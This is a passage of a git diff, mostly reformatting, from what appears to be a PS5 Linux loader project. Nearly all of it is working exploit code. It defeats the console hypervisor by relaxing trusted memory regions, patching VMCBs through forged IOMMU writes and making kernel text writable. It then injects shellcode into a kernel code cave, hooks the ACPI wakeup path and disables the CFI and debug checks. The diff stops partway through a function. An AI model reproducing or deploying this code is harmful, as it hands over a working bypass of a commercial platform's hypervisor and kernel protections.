gpu_read_phys8(pa + 0x90); - - // printf("Values read from VMCB: %016lx %016lx %016lx %016lx %016lx\n", - // vmcb_00, vmcb_08, vmcb_10, vmcb_58, vmcb_90 - // ); - - usleep(1000); - } - - pin_to_core(9); - - DEBUG_PRINT(" done, 16 cores\n"); - return 0; -} - -static jmp_buf jmp_env; -static volatile int vmmcall_faulted = 0; - -void handle_sigill(int sig) { - vmmcall_faulted = 1; - longjmp(jmp_env, 1); -} - -int stage4_force_vmcb_reload(void) { - - int ret = 0; - - auto old_handler = signal(SIGILL, handle_sigill); - - for (int i = 0; i < 16; i++) { - pin_to_core(i); - vmmcall_faulted = 0; - - if (setjmp(jmp_env) == 0) { - __asm__ volatile("vmmcall"); - } - - usleep(1000); - DEBUG_PRINT("[vmmcall] core: %02d %s\n", i, - vmmcall_faulted ? "SIGILL (caught)" : "ok"); - - // Accumulate results - ret |= vmmcall_faulted; - } - - signal(SIGILL, old_handler); - - // Return -1 if we didn't caught them - return ret ? 0 : -1; -} - -int stage5_remove_xotext(void) { - DEBUG_PRINT("\nHV-Defeat [stage5] xotext removal\n"); - - uint64_t start = ktext; - uint64_t end = kdata; - int n __attribute__((unused)) = 0; - - for (uint64_t a = start; a < end; a += 0x1000) { - page_chain_set_rw(a); - n++; - } - DEBUG_PRINT(" %d pages on ktext\n", n); - - start = kdata; - end = kdata + 0x08000000; - n = 0; - for (uint64_t a = start; a < end; a += 0x1000) { - page_chain_set_rw(a); - n++; - } - DEBUG_PRINT(" %d pages on kdata\n", n); - return 0; -} - -int stage6_kernel_pmap_invalidate_all(void) { - - DEBUG_PRINT("HV-Defeat [stage6] invalidate paging entries\n"); - - static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0}; - - int pipe_fds[2]; - // set O_NONBLOCK to avoid PIPE_DIRECTW - if (pipe2(pipe_fds, O_NONBLOCK)) { - return -1; - } - - // the pipe starts off as 1 page large - we need to write into the pipe so it - // will grow to BIG_PIPE_SIZE we need to make sure pmap_invalidate_all doesnt - // use the one page fast path - if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) { - close(pipe_fds[0]); - close(pipe_fds[1]); - return -1; - } - - // dont need this anymore - close(pipe_fds[1]); - - uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]); - - if (!INKERNEL(read_fd_file_data)) { - close(pipe_fds[0]); - return -1; - } - - uint64_t read_fd_buffer; - kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer, - sizeof(read_fd_buffer)); - - if (!INKERNEL(read_fd_buffer)) { - close(pipe_fds[0]); - return -1; - } - - // inside pmap_remove anyvalid has to be 1 for pmap_invalidate_all to be - // called anyvalid is only set if there is at least 1 non global entry being - // removed set the first entry as non global, its being removed anyway so its - // fine (?) - if (!page_remove_global(read_fd_buffer)) { - close(pipe_fds[0]); - return -1; - } - - // fd 0 is read end, it holds the buffer, this close is what does the - // pmap_invalidate_all because pmap == kernel_pmap, it will do invltlb_glob - close(pipe_fds[0]); - return 0; -} \ No newline at end of file +#include "hv_defeat.h" +#include "config.h" +#include "gpu.h" +#include "iommu.h" +#include "tmr.h" +#include "utils.h" +#include +#include +#include +#include +#include +#include + +uint64_t vmcb_pa[16]; + +int hv_defeat(void) { + if (gpu_init()) + return -1; + if (stage1_tmr_relax()) + return -1; + if (stage2_find_vmcbs()) + return -1; + iommu_selftest(); + if (stage3_patch_vmcbs()) + return -1; + if (stage4_force_vmcb_reload()) + return -1; + if (stage5_remove_xotext()) + return -1; + if (stage6_kernel_pmap_invalidate_all()) + return -1; + return 0; +} + +int stage1_tmr_relax(void) { + DEBUG_PRINT("\nHV-defeat [stage1] tmr relax: "); + + DEBUG_PRINT("Firmware version: %04x\n", fw); + + for (int t = 0; t < 22; t++) { + uint32_t b = tmr_read(TMR_BASE(t)); + uint32_t l = tmr_read(TMR_LIMIT(t)); + uint32_t c = tmr_read(TMR_CONFIG(t)); + if (c == 0 && b == 0 && l == 0) + continue; + DEBUG_PRINT(" tmr[%02d] 0x%012lx-0x%012lx cfg=0x%08x\n", t, + (uint64_t)b << 16, ((uint64_t)l << 16) | 0xFFFF, c); + } + + if (fw < 0x0300) { + tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE); + + if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE) + goto no_ok; + + } else { + tmr_write(TMR_CONFIG(5), TMR_CFG_PERMISSIVE); + tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE); + tmr_write(TMR_CONFIG(17), TMR_CFG_PERMISSIVE); + tmr_write(TMR_CONFIG(18), TMR_CFG_PERMISSIVE); + + if (tmr_read(TMR_CONFIG(5)) != TMR_CFG_PERMISSIVE) + goto no_ok; + if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE) + goto no_ok; + if (tmr_read(TMR_CONFIG(17)) != TMR_CFG_PERMISSIVE) + goto no_ok; + if (tmr_read(TMR_CONFIG(18)) != TMR_CFG_PERMISSIVE) + goto no_ok; + } + + DEBUG_PRINT("OK\n"); + return 0; + +no_ok: + DEBUG_PRINT("No OK\n"); + return -1; +} + +int stage2_find_vmcbs(void) { + DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n"); + + uint64_t vcpu_off = env_offset.HV_VCPU; + uint64_t stride = env_offset.HV_VCPU_CPUID; + // Testing direct VMCB on 04.03 + if ((!vcpu_off || !stride) && fw < 0x0300) { + DEBUG_PRINT(" missing HV_VCPU offsets for fw 0x%04x\n", fw); + return -1; + } + + for (int c = 0; c < 16; c++) { + vmcb_pa[c] = get_vmcb(c); + DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]); + } + + return 0; +} + +// Only valid for 3.xx and 4.xx +// 1.xx and 2.xx have dynamic page alloc for VMCB +// TODO: add 1.xx and 2.xx logic +uint64_t get_vmcb(int core) { + switch (fw) { + case 0x0300: + case 0x0310: + case 0x0320: + case 0x0321: + return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000; + break; + case 0x0400: + case 0x0402: + case 0x0403: + case 0x0450: + case 0x0451: + return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000; + break; + default: + return -1; + } +} + +int iommu_selftest(void) { + DEBUG_PRINT("\n[iommu] self-test\n"); + + uint64_t scratch = 0xAAAAAAAABBBBBBBBULL; + uint64_t scratch_pa = va_to_pa_user((uint64_t)&scratch); + + if (!scratch_pa || scratch_pa >= 0x100000000ULL) { + DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa); + return -1; + } + + uint64_t pattern = 0xDEADCAFE12345678ULL; + DEBUG_PRINT(" scratch pa=0x%016lx before=0x%016lx\n", scratch_pa, scratch); + + iommu_write8_pa(scratch_pa, pattern); + uint64_t readback = kread64(dmap + scratch_pa); + + DEBUG_PRINT(" wrote=0x%016lx read=0x%016lx %s\n", pattern, readback, + (readback == pattern) ? "OK" : "FAIL"); + + return (readback == pattern) ? 0 : -1; +} + +int stage3_patch_vmcbs(void) { + DEBUG_PRINT("\nHV-defeat [stage3-iommu] vmcb patch via IOMMU\n"); + + int cur = sceKernelGetCurrentCpu(); + pin_to_core(cur); + + for (int i = 0; i < 16; i++) { + uint64_t pa = vmcb_pa[i]; + + iommu_write8_pa(pa + 0x00, 0x0000000000000000ULL); + iommu_write8_pa(pa + 0x08, 0x0004000000000000ULL); + iommu_write8_pa(pa + 0x10, 0x000000000000000FULL); + iommu_write8_pa(pa + 0x58, 0x0000000000000001ULL); + iommu_write8_pa(pa + 0x90, 0x0000000000000000ULL); + + DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa); + + // uint64_t vmcb_00 = gpu_read_phys8(pa + 0x00); + // uint64_t vmcb_08 = gpu_read_phys8(pa + 0x08); + // uint64_t vmcb_10 = gpu_read_phys8(pa + 0x10); + // uint64_t vmcb_58 = gpu_read_phys8(pa + 0x58); + // uint64_t vmcb_90 = gpu_read_phys8(pa + 0x90); + + // printf("Values read from VMCB: %016lx %016lx %016lx %016lx %016lx\n", + // vmcb_00, vmcb_08, vmcb_10, vmcb_58, vmcb_90 + // ); + + usleep(1000); + } + + pin_to_core(9); + + DEBUG_PRINT(" done, 16 cores\n"); + return 0; +} + +static jmp_buf jmp_env; +static volatile int vmmcall_faulted = 0; + +void handle_sigill(int sig) { + vmmcall_faulted = 1; + longjmp(jmp_env, 1); +} + +int stage4_force_vmcb_reload(void) { + + int ret = 0; + + auto old_handler = signal(SIGILL, handle_sigill); + + for (int i = 0; i < 16; i++) { + pin_to_core(i); + vmmcall_faulted = 0; + + if (setjmp(jmp_env) == 0) { + __asm__ volatile("vmmcall"); + } + + usleep(1000); + DEBUG_PRINT("[vmmcall] core: %02d %s\n", i, + vmmcall_faulted ? "SIGILL (caught)" : "ok"); + + // Accumulate results + ret |= vmmcall_faulted; + } + + signal(SIGILL, old_handler); + + // Return -1 if we didn't caught them + return ret ? 0 : -1; +} + +int stage5_remove_xotext(void) { + DEBUG_PRINT("\nHV-Defeat [stage5] xotext removal\n"); + + uint64_t start = ktext; + uint64_t end = kdata; + int n __attribute__((unused)) = 0; + + for (uint64_t a = start; a < end; a += 0x1000) { + page_chain_set_rw(a); + n++; + } + DEBUG_PRINT(" %d pages on ktext\n", n); + + start = kdata; + end = kdata + 0x08000000; + n = 0; + for (uint64_t a = start; a < end; a += 0x1000) { + page_chain_set_rw(a); + n++; + } + DEBUG_PRINT(" %d pages on kdata\n", n); + return 0; +} + +int stage6_kernel_pmap_invalidate_all(void) { + + DEBUG_PRINT("HV-Defeat [stage6] invalidate paging entries\n"); + + static uint64_t two_zero_pages[PAGE_SIZE * 2] = {0}; + + int pipe_fds[2]; + // set O_NONBLOCK to avoid PIPE_DIRECTW + if (pipe2(pipe_fds, O_NONBLOCK)) { + return -1; + } + + // the pipe starts off as 1 page large - we need to write into the pipe so it + // will grow to BIG_PIPE_SIZE we need to make sure pmap_invalidate_all doesnt + // use the one page fast path + if (write(pipe_fds[1], two_zero_pages, PAGE_SIZE * 2) < 0) { + close(pipe_fds[0]); + close(pipe_fds[1]); + return -1; + } + + // dont need this anymore + close(pipe_fds[1]); + + uint64_t read_fd_file_data = kernel_get_proc_file(-1, pipe_fds[0]); + + if (!INKERNEL(read_fd_file_data)) { + close(pipe_fds[0]); + return -1; + } + + uint64_t read_fd_buffer; + kernel_copyout(read_fd_file_data + 0x10, &read_fd_buffer, + sizeof(read_fd_buffer)); + + if (!INKERNEL(read_fd_buffer)) { + close(pipe_fds[0]); + return -1; + } + + // inside pmap_remove anyvalid has to be 1 for pmap_invalidate_all to be + // called anyvalid is only set if there is at least 1 non global entry being + // removed set the first entry as non global, its being removed anyway so its + // fine (?) + if (!page_remove_global(read_fd_buffer)) { + close(pipe_fds[0]); + return -1; + } + + // fd 0 is read end, it holds the buffer, this close is what does the + // pmap_invalidate_all because pmap == kernel_pmap, it will do invltlb_glob + close(pipe_fds[0]); + return 0; +} diff --git a/source/iommu.c b/source/iommu.c index 20ac73a..f5836f4 100644 --- a/source/iommu.c +++ b/source/iommu.c @@ -1,103 +1,103 @@ -#include "iommu.h" -#include "utils.h" -#include -#include - -iommu_ctx iommu_store; -iommu_ctx *iommu = &iommu_store; - -int iommu_init(void) { - uint64_t softc_ptr = get_offset_va(env_offset.IOMMU_SOFTC); - if (softc_ptr == ktext) { - DEBUG_PRINT("[iommu] no IOMMU_SOFTC offset"); - return -1; - } - - uint64_t softc = kread64(softc_ptr); - if (!softc) { - DEBUG_PRINT("[iommu] softc is NULL\n"); - return -2; - } - - iommu->mmio_va = kread64(softc + IOMMU_SC_MMIO_VA); - iommu->cb2_base = kread64(softc + IOMMU_SC_CB2_PTR); - iommu->cb3_base = kread64(softc + IOMMU_SC_CB3_PTR); - iommu->eb_base = kread64(softc + IOMMU_SC_EB_PTR); - - if (!iommu->cb2_base || !iommu->mmio_va) { - DEBUG_PRINT("[iommu] cb=0x%016lx mmio=0x%016lx - not initialized\n", - iommu->cb2_base, iommu->mmio_va); - return -3; - } - - DEBUG_PRINT("[iommu] softc=0x%016lx cb=0x%016lx mmio=0x%016lx\n", softc, - iommu->cb2_base, iommu->mmio_va); - return 0; -} - -// Submit a single 16-byte command and wait for completion -void iommu_submit_cmd(const void *cmd) { - - if (iommu->mmio_va == 0) - iommu_init(); - - uint64_t curr_tail = kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL); - uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK; - - kwrite(iommu->cb2_base + curr_tail, (void *)cmd, IOMMU_CMD_ENTRY_SIZE); - kwrite64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL, next_tail); - - while (kread64(iommu->mmio_va + IOMMU_MMIO_CB_HEAD) != - kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL)) - ; -} - -// Write 8 bytes to a physical address using IOMMU completion wait store -void iommu_write8_pa(uint64_t pa, uint64_t val) { - uint32_t cmd[4]; - cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; - cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; - cmd[2] = (uint32_t)(val); - cmd[3] = (uint32_t)(val >> 32); - iommu_submit_cmd(cmd); -} - -// Write 4 bytes to a physical address -void iommu_write4_pa(uint64_t pa, uint32_t val) { - uint64_t aligned = pa & ~7ULL; - uint64_t existing = kread64(dmap + aligned); - uint32_t off = (uint32_t)(pa & 7); - memcpy((uint8_t *)&existing + off, &val, 4); - iommu_write8_pa(aligned, existing); -} - -// Write arbitrary length to a physical address in 8-byte chunks -void iommu_write_pa(uint64_t pa, const void *data, uint32_t len) { - const uint8_t *src = (const uint8_t *)data; - uint32_t off = 0; - - if (pa & 7) { - uint32_t head = 8 - (uint32_t)(pa & 7); - if (head > len) - head = len; - uint64_t aligned = pa & ~7ULL; - uint64_t existing = kread64(dmap + aligned); - memcpy((uint8_t *)&existing + (pa & 7), src, head); - iommu_write8_pa(aligned, existing); - off += head; - } - - while (off + 8 <= len) { - uint64_t val; - memcpy(&val, src + off, 8); - iommu_write8_pa(pa + off, val); - off += 8; - } - - if (off < len) { - uint64_t aligned = pa + off; - uint64_t existing = kread64(dmap + aligned); - memcpy(&existing, src + off, len - off); - iommu_write8_pa(aligned, existing); - } -} \ No newline at end of file +#include "iommu.h" +#include "utils.h" +#include +#include + +iommu_ctx iommu_store; +iommu_ctx *iommu = &iommu_store; + +int iommu_init(void) { + uint64_t softc_ptr = get_offset_va(env_offset.IOMMU_SOFTC); + if (softc_ptr == ktext) { + DEBUG_PRINT("[iommu] no IOMMU_SOFTC offset"); + return -1; + } + + uint64_t softc = kread64(softc_ptr); + if (!softc) { + DEBUG_PRINT("[iommu] softc is NULL\n"); + return -2; + } + + iommu->mmio_va = kread64(softc + IOMMU_SC_MMIO_VA); + iommu->cb2_base = kread64(softc + IOMMU_SC_CB2_PTR); + iommu->cb3_base = kread64(softc + IOMMU_SC_CB3_PTR); + iommu->eb_base = kread64(softc + IOMMU_SC_EB_PTR); + + if (!iommu->cb2_base || !iommu->mmio_va) { + DEBUG_PRINT("[iommu] cb=0x%016lx mmio=0x%016lx - not initialized\n", + iommu->cb2_base, iommu->mmio_va); + return -3; + } + + DEBUG_PRINT("[iommu] softc=0x%016lx cb=0x%016lx mmio=0x%016lx\n", softc, + iommu->cb2_base, iommu->mmio_va); + return 0; +} + +// Submit a single 16-byte command and wait for completion +void iommu_submit_cmd(const void *cmd) { + + if (iommu->mmio_va == 0) + iommu_init(); + + uint64_t curr_tail = kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL); + uint64_t next_tail = (curr_tail + IOMMU_CMD_ENTRY_SIZE) & IOMMU_CB_MASK; + + kwrite(iommu->cb2_base + curr_tail, (void *)cmd, IOMMU_CMD_ENTRY_SIZE); + kwrite64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL, next_tail); + + while (kread64(iommu->mmio_va + IOMMU_MMIO_CB_HEAD) != + kread64(iommu->mmio_va + IOMMU_MMIO_CB_TAIL)) + ; +} + +// Write 8 bytes to a physical address using IOMMU completion wait store +void iommu_write8_pa(uint64_t pa, uint64_t val) { + uint32_t cmd[4]; + cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05; + cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000; + cmd[2] = (uint32_t)(val); + cmd[3] = (uint32_t)(val >> 32); + iommu_submit_cmd(cmd); +} + +// Write 4 bytes to a physical address +void iommu_write4_pa(uint64_t pa, uint32_t val) { + uint64_t aligned = pa & ~7ULL; + uint64_t existing = kread64(dmap + aligned); + uint32_t off = (uint32_t)(pa & 7); + memcpy((uint8_t *)&existing + off, &val, 4); + iommu_write8_pa(aligned, existing); +} + +// Write arbitrary length to a physical address in 8-byte chunks +void iommu_write_pa(uint64_t pa, const void *data, uint32_t len) { + const uint8_t *src = (const uint8_t *)data; + uint32_t off = 0; + + if (pa & 7) { + uint32_t head = 8 - (uint32_t)(pa & 7); + if (head > len) + head = len; + uint64_t aligned = pa & ~7ULL; + uint64_t existing = kread64(dmap + aligned); + memcpy((uint8_t *)&existing + (pa & 7), src, head); + iommu_write8_pa(aligned, existing); + off += head; + } + + while (off + 8 <= len) { + uint64_t val; + memcpy(&val, src + off, 8); + iommu_write8_pa(pa + off, val); + off += 8; + } + + if (off < len) { + uint64_t aligned = pa + off; + uint64_t existing = kread64(dmap + aligned); + memcpy(&existing, src + off, len - off); + iommu_write8_pa(aligned, existing); + } +} diff --git a/source/loader.c b/source/loader.c index 394e357..cf439c7 100644 --- a/source/loader.c +++ b/source/loader.c @@ -31,8 +31,7 @@ uint64_t alloc_page(void) { return va_to_pa_user((uintptr_t)page); } -void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, - int bits) { +void install_page(uintptr_t pml4, vm_offset_t va, vm_paddr_t pa, int bits) { uint64_t entry; uintptr_t pml4e = pml4 + pmap_pml4e_index(va) * 8; @@ -100,18 +99,21 @@ static const char *get_overridden_filename(const char *filename) { for (char *p = overrides_start; p < overrides_end; p++) if (*p == '\n') *p = 0; - overrides_start[size] = 0; // make sure the last string is null-terminated + overrides_start[size] = + 0; // make sure the last string is null-terminated } } } - if (state == 1) // overrides not found, or unreadable, or currently looking for it + if (state == + 1) // overrides not found, or unreadable, or currently looking for it return filename; size_t needle_len = strlen(filename); for (const char *p = overrides_start; p < overrides_end;) { size_t haystack_len = strlen(p); - if (haystack_len > needle_len && !strncmp(p, filename, needle_len) && p[needle_len] == '=') + if (haystack_len > needle_len && !strncmp(p, filename, needle_len) && + p[needle_len] == '=') return p + needle_len + 1; p += haystack_len + 1; } @@ -229,7 +231,8 @@ int fetch_linux(struct linux_info *info) { } if (dump_device_firmwares(initrd_path) < 0) { - notify("Something went wrong while dumping device firmwares - Continuing\n"); + notify( + "Something went wrong while dumping device firmwares - Continuing\n"); } size_t vram_size; @@ -266,7 +269,7 @@ int fetch_linux(struct linux_info *info) { info->initrd_size = initrd_size; info->vram_size = vram_size; strcpy(info->cmdline, cmdline); - info->kit_type = (int) get_kit_type(); + info->kit_type = (int)get_kit_type(); uint64_t page = alloc_page(); kwrite(pa_to_dmap(page), info, sizeof(struct linux_info)); diff --git a/source/main.c b/source/main.c index ec9f54f..b503bae 100644 --- a/source/main.c +++ b/source/main.c @@ -1,178 +1,180 @@ -#include "main.h" -#include "../shellcode_kernel/shellcode_kernel.h" -#include "hv_defeat.h" -#include "loader.h" -#include "offsets.h" -#include "utils.h" -#include -#include - -int main(void) { - - if (setup_env()) { - notify("Something went wrong while initiating.\nPlease make sure your fw " - "is supported."); - return -1; - } - if (hv_defeat()) { - notify("Something went wrong while defeating Hypervisor.\nPlease make sure " - "your fw is supported."); - return -1; - } - - if (fetch_linux(&linux_i)) { - notify("Something went wrong while installing linux files.\n"); - return -1; - } - - if (prepare_resume()) { - notify("Something went wrong while preparing resume.\n"); - return -1; - } - - notify("Finished preparation. Going to rest mode in 5 seconds.\nPlease wait for the orange light to stop " - "blinking and then wakeup to Linux :)\n"); - - sleep(5); - enter_rest_mode(); - - while (1) { - sleep(30); - } - - return 0; -} - -int setup_env(void) { - notify("Welcome to ps5-linux-loader. We'll defeat HV and prepare the system " - "to boot Linux on sleep resume.\n"); - if (set_offsets()) - return -1; - if (init_global_vars()) - return -1; - return 0; -} - -int prepare_resume(void) { - - if (env_offset.KERNEL_CODE_CAVE == 0) { - printf("Error: missing code cave offset\n"); - return -1; - } - - if (env_offset.KERNEL_DATA_CAVE == 0) { - printf("Error: missing data cave offset\n"); - return -1; - } - - printf("\nWriting Shell Code for WakeUp path and patching " - "AcpiSetFirmwareWakingVector in acpi_wakeup_machdep\n"); - - uint64_t dest_text = ktext + env_offset.KERNEL_CODE_CAVE; - uint64_t dest_data = - ktext + env_offset.KERNEL_DATA_CAVE; // For arguments only, rest of .data - // variables are in shellcode - - uint64_t sz = shellcode_kernel_text_len; - - uint32_t CHUNK = 0x1000; - uint64_t written = 0; - while (written < sz) { - uint32_t n = (sz - written > CHUNK) ? CHUNK : (uint32_t)(sz - written); - kernel_copyin(&shellcode_kernel_text[written], dest_text + written, n); - written += n; - } - DEBUG_PRINT(" copied %d bytes to text cave\n", sz); - - DEBUG_PRINT("\n\nI wrote this shellcode text on %016lx (ktext+%08lx):\n", - dest_text, env_offset.KERNEL_CODE_CAVE); - for (uint64_t i = 0; i < sz; i++) { - DEBUG_PRINT("%02x", kread8(dest_text + i)); - } - DEBUG_PRINT("\n\n"); - - shellcode_kernel_args args; - - // Fill structure of ShellCode Arguments - args.fw_version = kernel_get_fw_version() & 0xFFFF0000; - args.ktext = ktext; - args.kdata = kdata; - args.dmap_base = dmap; - - args.fun_printf = ktext + env_offset.FUN_PRINTF; - args.fun_va_to_pa = ktext + env_offset.FUN_VA_TO_PA; - args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS; - args.fun_hv_iommu_wait_completion = - ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION; - args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS; - args.fun_smp_no_rendevous_barrier = - ktext + env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER; - args.g_vbios = ktext + env_offset.G_VBIOS; - - args.fun_transmitter_control = ktext + env_offset.FUN_TRANSMITTER_CONTROL; - args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE; - args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE; - - args.iommu_mmio_va = iommu->mmio_va; - args.iommu_cb2_va = iommu->cb2_base; - args.iommu_cb3_va = iommu->cb3_base; - args.iommu_eb_va = iommu->eb_base; - memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16); - - args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE; - args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA; - args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA; - args.hv_uart_override_pa = env_offset.HV_UART_OVERRIDE_PA; - - args.linux_info_va = linux_i.linux_info; // To relocate by kernel shellcode - // bzimage_va and initrd_va are passed in the linux_info structure - - // Copy arguments to small .data cave - kernel_copyin(&args, dest_data, sizeof(args)); - - DEBUG_PRINT("\n\nI wrote this arguments data on %016lx (ktext+%08lx):\n", - dest_data, env_offset.KERNEL_DATA_CAVE); - for (uint64_t i = 0; i < sz; i++) { - DEBUG_PRINT("%02x", kread8(dest_data + i)); - } - DEBUG_PRINT("\n\n"); - - // Now find the address 0x11AA11AA11AA11AA used as marker for args_ptr and - // overwrite it with proper VA in .data for arguments - int offset = -1; - for (int i = 0; i < 0x40; i++) { - if (*(uint64_t *)((uint64_t)shellcode_kernel_text + i) == - 0x11AA11AA11AA11AA) { - offset = i; - break; - } - } - if (offset == -1) { - notify("Could not find offset of args_ptr address - Aborting\n"); - } - kwrite64(dest_text + offset, dest_data); - - DEBUG_PRINT("\n\nI wrote this ptr %016lx on %016lx (offset %08lx)\n", - dest_data, dest_text + offset, offset); - - uint64_t instr_to_patch = - ktext + env_offset.HOOK_ACPI_WAKEUP_MACHDEP; // AcpiSetFirmwareWakingVector - // in acpi_wakeup_machdep - int64_t diff_call = dest_text - instr_to_patch; - uint8_t new_instr[5]; - new_instr[0] = 0xE8; // Call Near - *((uint32_t *)&new_instr[1]) = - (int32_t)(diff_call - 5); // Call Offset is relative to the next - // instruction and Call uses 5 bytes - - // Patch instruction - kernel_copyin(new_instr, instr_to_patch, 5); - DEBUG_PRINT("Instruction patched\n"); - - // Patch debug exception - kwrite8(ktext + env_offset.KERNEL_DEBUG_PATCH, 0xC3); - // Patch cfi_check - kwrite8(ktext + env_offset.KERNEL_CFI_CHECK, 0xC3); - - return 0; -} \ No newline at end of file +#include "main.h" +#include "../shellcode_kernel/shellcode_kernel.h" +#include "hv_defeat.h" +#include "loader.h" +#include "offsets.h" +#include "utils.h" +#include +#include + +int main(void) { + + if (setup_env()) { + notify("Something went wrong while initiating.\nPlease make sure your fw " + "is supported."); + return -1; + } + if (hv_defeat()) { + notify("Something went wrong while defeating Hypervisor.\nPlease make sure " + "your fw is supported."); + return -1; + } + + if (fetch_linux(&linux_i)) { + notify("Something went wrong while installing linux files.\n"); + return -1; + } + + if (prepare_resume()) { + notify("Something went wrong while preparing resume.\n"); + return -1; + } + + notify("Finished preparation. Going to rest mode in 5 seconds.\nPlease wait " + "for the orange light to stop " + "blinking and then wakeup to Linux :)\n"); + + sleep(5); + enter_rest_mode(); + + while (1) { + sleep(30); + } + + return 0; +} + +int setup_env(void) { + notify("Welcome to ps5-linux-loader. We'll defeat HV and prepare the system " + "to boot Linux on sleep resume.\n"); + if (set_offsets()) + return -1; + if (init_global_vars()) + return -1; + return 0; +} + +int prepare_resume(void) { + + if (env_offset.KERNEL_CODE_CAVE == 0) { + printf("Error: missing code cave offset\n"); + return -1; + } + + if (env_offset.KERNEL_DATA_CAVE == 0) { + printf("Error: missing data cave offset\n"); + return -1; + } + + printf("\nWriting Shell Code for WakeUp path and patching " + "AcpiSetFirmwareWakingVector in acpi_wakeup_machdep\n"); + + uint64_t dest_text = ktext + env_offset.KERNEL_CODE_CAVE; + uint64_t dest_data = + ktext + env_offset.KERNEL_DATA_CAVE; // For arguments only, rest of .data + // variables are in shellcode + + uint64_t sz = shellcode_kernel_text_len; + + uint32_t CHUNK = 0x1000; + uint64_t written = 0; + while (written < sz) { + uint32_t n = (sz - written > CHUNK) ? CHUNK : (uint32_t)(sz - written); + kernel_copyin(&shellcode_kernel_text[written], dest_text + written, n); + written += n; + } + DEBUG_PRINT(" copied %d bytes to text cave\n", sz); + + DEBUG_PRINT("\n\nI wrote this shellcode text on %016lx (ktext+%08lx):\n", + dest_text, env_offset.KERNEL_CODE_CAVE); + for (uint64_t i = 0; i < sz; i++) { + DEBUG_PRINT("%02x", kread8(dest_text + i)); + } + DEBUG_PRINT("\n\n"); + + shellcode_kernel_args args; + + // Fill structure of ShellCode Arguments + args.fw_version = kernel_get_fw_version() & 0xFFFF0000; + args.ktext = ktext; + args.kdata = kdata; + args.dmap_base = dmap; + + args.fun_printf = ktext + env_offset.FUN_PRINTF; + args.fun_va_to_pa = ktext + env_offset.FUN_VA_TO_PA; + args.fun_hv_iommu_set_buffers = ktext + env_offset.FUN_HV_IOMMU_SET_BUFFERS; + args.fun_hv_iommu_wait_completion = + ktext + env_offset.FUN_HV_IOMM_WAIT_COMPLETION; + args.fun_smp_rendezvous = ktext + env_offset.FUN_SMP_RENDEZVOUS; + args.fun_smp_no_rendevous_barrier = + ktext + env_offset.FUN_SMP_NO_RENDEVOUS_BARRIER; + args.g_vbios = ktext + env_offset.G_VBIOS; + + args.fun_transmitter_control = ktext + env_offset.FUN_TRANSMITTER_CONTROL; + args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE; + args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE; + + args.iommu_mmio_va = iommu->mmio_va; + args.iommu_cb2_va = iommu->cb2_base; + args.iommu_cb3_va = iommu->cb3_base; + args.iommu_eb_va = iommu->eb_base; + memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16); + + args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE; + args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA; + args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA; + args.hv_uart_override_pa = env_offset.HV_UART_OVERRIDE_PA; + + args.linux_info_va = linux_i.linux_info; // To relocate by kernel shellcode + // bzimage_va and initrd_va are passed in the linux_info structure + + // Copy arguments to small .data cave + kernel_copyin(&args, dest_data, sizeof(args)); + + DEBUG_PRINT("\n\nI wrote this arguments data on %016lx (ktext+%08lx):\n", + dest_data, env_offset.KERNEL_DATA_CAVE); + for (uint64_t i = 0; i < sz; i++) { + DEBUG_PRINT("%02x", kread8(dest_data + i)); + } + DEBUG_PRINT("\n\n"); + + // Now find the address 0x11AA11AA11AA11AA used as marker for args_ptr and + // overwrite it with proper VA in .data for arguments + int offset = -1; + for (int i = 0; i < 0x40; i++) { + if (*(uint64_t *)((uint64_t)shellcode_kernel_text + i) == + 0x11AA11AA11AA11AA) { + offset = i; + break; + } + } + if (offset == -1) { + notify("Could not find offset of args_ptr address - Aborting\n"); + } + kwrite64(dest_text + offset, dest_data); + + DEBUG_PRINT("\n\nI wrote this ptr %016lx on %016lx (offset %08lx)\n", + dest_data, dest_text + offset, offset); + + uint64_t instr_to_patch = + ktext + + env_offset.HOOK_ACPI_WAKEUP_MACHDEP; // AcpiSetFirmwareWakingVector + 